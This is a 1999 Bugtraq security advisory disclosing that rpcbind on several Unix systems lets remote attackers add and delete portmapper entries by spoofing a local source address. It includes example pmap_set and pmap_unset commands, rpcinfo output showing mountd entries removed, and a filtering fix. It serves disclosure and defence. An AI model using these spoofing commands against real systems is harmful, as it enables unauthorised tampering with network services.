Date: Thu, 28 Jan 1999 13:03:14 +0000 From: gilbert@PGCI.CA To: BUGTRAQ@netspace.org Subject: rpcbind: deceive, enveigle and obfuscate -----BEGIN PGP SIGNED MESSAGE----- *** RPCBIND SECURITY ADVISORY *** Discovered by: Martin Rosa, mrosa@pgci.ca Authored by: Patrick Gilbert, gilbert@pgci.ca The vulnerable versions of rpcbind are contained in: - -Linux 2.0.34 - -Irix 6.2 - -Wietse's rpcbind 2.1 replacement (Wietse's warns the use of proper filtering to be used with his package, but did you really read the README?) - -Solaris 2.6 (you can add and delete services that were inserted remotely) - -Other version have yet to be tested. The problem: Rpcbind permits a remote attacker to insert and delete entries without superuser status by spoofing a source address. Ironically, it inserts the entries as being owned by superuser (wietse's rpcbind in this case). Consequences are terrible, to say the least. Tests were conducted with the pmap_tools available at the end of this advisory. The solution: Make sure you filter 127.0.0.1 and localnets at your border router. Bad router hygiene will lead to problems. The tools: A source of pmap_tools for linux, as well as technical details concerning this advisory can be obtained here: http://www.pgci.ca/emain.html Cheers, - -- Patrick Gilbert +1 (514) 865-9178 CEO, PGCI http://www.pgci.ca Montreal (QC), Canada CE AB B2 18 E0 FE C4 33 0D 9A AC 18 30 1F D9 1A -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNrBgFvweOHTzUVddAQEO3AQAjjtefHTsCQX5GVXrgp3kOZK5/opckmyv nBcuL5hOl/vCwkr5SnCRD65FDYIh7NPH53Uj4MSf/xf8Bd28l8VxFG0R0GE3jnwN Z2lrrVXgZ0Xsmd+MHBnL38vVBdNHQpXb1U1eYCkClX/M6Y+BWnAvavw0wVxoO7bW 4rzv7/c58eU= =z0pq -----END PGP SIGNATURE----- --------------------| http://www.pgci.ca/rpc.html |------------------------ Applies to the practice: rpcbind: deceive, inveigle and obfuscate http://www.pgci.ca/emain.html Applicable technologies: Unix and derivatives; pmap_tools Discovered by: Martin Rosa, mrosa@pgci.ca Authored by: Patrick Gilbert, gilbert@pgci.ca Version affected: The vulnerable versions of rpcbind are contained in: Linux 2.0.34 Irix 6.2 Wietse's rpcbind 2.1 replacement (Wietse's warns the use of proper filtering to be used with his package, although we are sure he didn't intend for anyone to be able to trivially remove/add entries) ftp://ftp.porcupine.org/pub/security/rpcbind_2.1.README Solaris 2.6 (you can only add and delete services inserted remotely) Other version have yet to be tested. The preface: Rpcbind is a server that converts RPC program numbers into universal addresses. It must be running as root on the host to be able to make RPC calls on a server on that machine. When an RPC service is started, it tells rpcbind the address at which it is listening, and the RPC program numbers it is prepared to serve. When a client wishes to make an RPC call to a given program number, it first contacts rpcbind on the server machine to determine the address where RPC requests should be sent. The problem: Rpcbind permits a remote attacker to insert and delete entries without superuser status by spoofing a source address. Ironically, it inserts the entries as being owned by superuser. Consequences are terrible, to say the least. Tests were conducted with the pmap_tools available at the end of this advisory. Example usage: * pmap_set 127.0.0.1 1.1.1.1 100005 1 udp 666 * * This would add to portmapper's list mountd (100005) version 1 on udp * port 666. * * Instead of 127.0.0.1, you could also use 1.1.1.1. It depends on filters * installed on your target's network. $ rpcinfo program version netid address service owner 100000 4 ticots pgci.ca.rpc rpcbind superuser 100000 3 ticots pgci.ca.rpc rpcbind superuser 100000 4 ticotsord pgci.ca.rpc rpcbind superuser 100000 3 ticotsord pgci.ca.rpc rpcbind superuser 100000 4 ticlts pgci.ca.rpc rpcbind superuser 100000 3 ticlts pgci.ca.rpc rpcbind superuser 100000 4 tcp 0.0.0.0.0.111 rpcbind superuser 100000 3 tcp 0.0.0.0.0.111 rpcbind superuser 100000 2 tcp 0.0.0.0.0.111 rpcbind superuser 100000 4 udp 0.0.0.0.0.111 rpcbind superuser 100000 3 udp 0.0.0.0.0.111 rpcbind superuser 100000 2 udp 0.0.0.0.0.111 rpcbind superuser 100005 1 udp 0.0.0.0.2.154 mountd superuser For test purposes, the 100005 entry is deleted, as well as the following entry 100000 4 tcp 0.0.0.0.0.111 rpcbind superuser Example usage: * pmap_unset 127.0.0.1 1.1.1.1 100005 1 * * This would remove mountd (100005) entry from portmapper's list. * The result, much to our surprise, was positive. Both entries have been remotely deleted by an unauthorized third party. $ rpcinfo program version netid address service owner 100000 4 ticots pgci.ca.rpc rpcbind superuser 100000 3 ticots pgci.ca.rpc rpcbind superuser 100000 4 ticotsord pgci.ca.rpc rpcbind superuser 100000 3 ticotsord pgci.ca.rpc rpcbind superuser 100000 4 ticlts pgci.ca.rpc rpcbind superuser 100000 3 ticlts pgci.ca.rpc rpcbind superuser 100000 3 tcp 0.0.0.0.0.111 rpcbind superuser 100000 2 tcp 0.0.0.0.0.111 rpcbind superuser 100000 3 udp 0.0.0.0.0.111 rpcbind superuser 100000 2 udp 0.0.0.0.0.111 rpcbind superuser The solution: Make sure you filter 127.0.0.1 aand localnets at your border router. Bad router hygiene will lead to problems. If the problem persists, contact your local vendor for an rpcbind replacement or update. Are you vulnerable? A copy of the pmap_tools for linux can be obtained at ftp://ftp.pgci.ca/pub/pmap_tools/
zorazelda